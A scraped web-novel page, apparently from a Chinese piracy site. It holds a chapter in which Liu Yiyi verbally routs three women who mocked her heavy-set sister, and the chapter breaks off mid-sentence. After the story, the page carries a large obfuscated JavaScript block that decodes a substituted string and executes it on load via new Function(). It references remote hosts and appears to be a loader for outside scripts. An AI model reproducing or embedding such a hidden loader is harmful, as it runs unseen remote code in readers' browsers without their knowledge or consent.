第629章 精彩绝伦的怼人段子

章节报错(免登陆)
下载APP,无广告、完整阅读

顶点小说(dingdian666.com)更新快,无弹窗!

    另一个女人捂住口鼻,鄙夷地看向柳美美,“哎呦喂,是不吃我家大米,可是浪费社会资源啊!我这姐妹受惊了,你要赔我们精神损失费。”
    柳美美一个人面对三个人,无力招架,“我都道歉了,而且她也没受伤,我才不赔。”
    “是没受伤,但看到你这丑八怪,受惊了,哈哈······”趾高气昂的模样,特别猖狂,说出来的话,也特别过分。
    此时柳依依已经把地上散落的袋子捡起来,然后把东西交到柳美美的手里,并且把柳美美往后面拉,她站在了前面。
    柳依依个子本来就高,就算今天穿着平底鞋,但此时气势全开,营造出来腿长一米八,身高两米七的强大气场。
    柳依依表情淡然,冷声说:“说别人的时候,不知道找个镜子照照自己吗?全身上下没有几两肉,两腮无肉,坏到骨头;
    胸前无肉,全靠海绵凑。比美,你有我美?就你这满脸跟装修涂腻子的妆容,嘴涂得跟吃死孩子似的,从上到下的装扮,比不上我的头发丝,脚趾甲。”
    刚刚那三个排骨精,被柳依依骂得懵了,以前都是她们骂别人,什么时候轮到别人骂她们了?
    “你······你······”三个人气得要冲过来打柳依依。
    柳美美哪里能够眼睁睁地看着别人打柳依依,冲到妹妹的前面,“想打我妹妹,先从我身上跨过去。现在是法治社会,头顶上就是摄像头,把你们打伤了,我也不犯法,这叫正当防卫。”
    “丑八怪,死胖子,给我闭嘴。”其中一个女的气急败坏,“我,我······”
    见大姐在前面挡着,柳依依不能直视那三个排骨精,立即站在后面的椅子上,居高临下,颇有几分鹤立鸡群之感。
    柳依依大声反驳,十分强势,“你,你什么你?骂人还有理了?胖怎么了?吃你家糖醋里脊,红烧肉,麻婆豆腐,水煮鱼的吗?你要非要比的话,我妈那时候早产,生我姐的时候,我姐不到四斤呢!
    一看你们就是没文化,今天我就给你们普及一下文化知识。你看瘦字是病字旁,例如疤疮痛疼等,而胖是月字旁,月字旁代表一种健康,那个肝脏脾肺等,汉字存在了几千年来的文明,是民族智慧的结晶,难道还会有错吗?
    干吃不胖在能源学上叫能量转换效率过低,在经济学上叫投资回报不成正比。饺子要吃烫烫的,老婆要找胖胖的,老婆找得胖,日子才能过得旺。
    就你们这样的排骨精,一看就是败家的玩意,别说旺家,搞不好家破人亡,谁敢娶你们啊?”
    周围的人,刚刚她们听到三个高挑瘦瘦的女人对着一个另外一胖一瘦大骂,觉得这三个女的很刻薄。
    可这年头的人都喜欢看热闹,也不想上前拉架,免得引火上身,惹上麻烦,都站在不远处偷看。
    本来以为一胖一瘦两个人会吃亏,但没想到那个小姑娘一张口,骂人不带脏字,但说的那些话,能把人气死。
    不过,仔细想想,那个女孩说得挺对的。
    光吃不胖,那不是白吃吗?
    病字旁,月字旁的分析,更是精辟!
    最棒的那是句,“饺子要吃烫烫的,老婆要找胖胖的”,更是道尽了人生感悟和真谛。
    一对中年夫妇听到这话,其中那个男的,小声说:“这小姑娘说得不错,饺子烫烫的好吃,老婆胖胖的,旺家·····”
    中年男人身边的中年妇女听到这话,哭笑不得,伸手拧了一下丈夫的胳膊,“就你贫!”
    “我说的是实话啊,家里没有你,我能取得今天的成就吗?”中年男子其貌不扬,身边的老婆长得不错,胖胖的,一看就很有福气。
    柳依依的话,让周围所有看热闹的人忍俊不禁。
    三个“排骨精”,气得瞪着柳依依,指着柳依依,柳美美说不出话来,居然不知道如何反驳了,“吃吃吃,肥死你们!吃成肥猪······”
    柳依依见这三个女人还继续嘴硬,诋毁姐姐胖,“哼,你们这些没礼貌、没教养的人,到现在还不道歉。那我继续跟你们聊聊人生,给你们树立正确的和谐社会价值观,人生观,世界观。
    人生在世,吃喝拉撒,柴米油盐酱醋茶。当你努力节食减肥的时候,你的人生就会失去很多乐趣,别人的舌头尝遍人间美味,你的舌头永远清汤寡水。
    人间走一趟,不过匆匆几十年,南甜北咸东辣西酸,都该尝一尝,对吧?
    身体发肤,受之父母。你的父母一把屎一把尿,把你喂养长大,你身上的每一寸肌肤,每一块脂肪都是父母汗水的结晶,你又怎么忍心割舍?你怎么忍心辜负他们的一番苦心呢?
    你再仔细想想你这辈子生病的时候、哭泣的时候、委屈的时候、痛苦的时候,一直陪在你身边的、除了你这身上脂肪肉,还有别的吗?
    它们跟你同甘共苦毫无怨言,
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();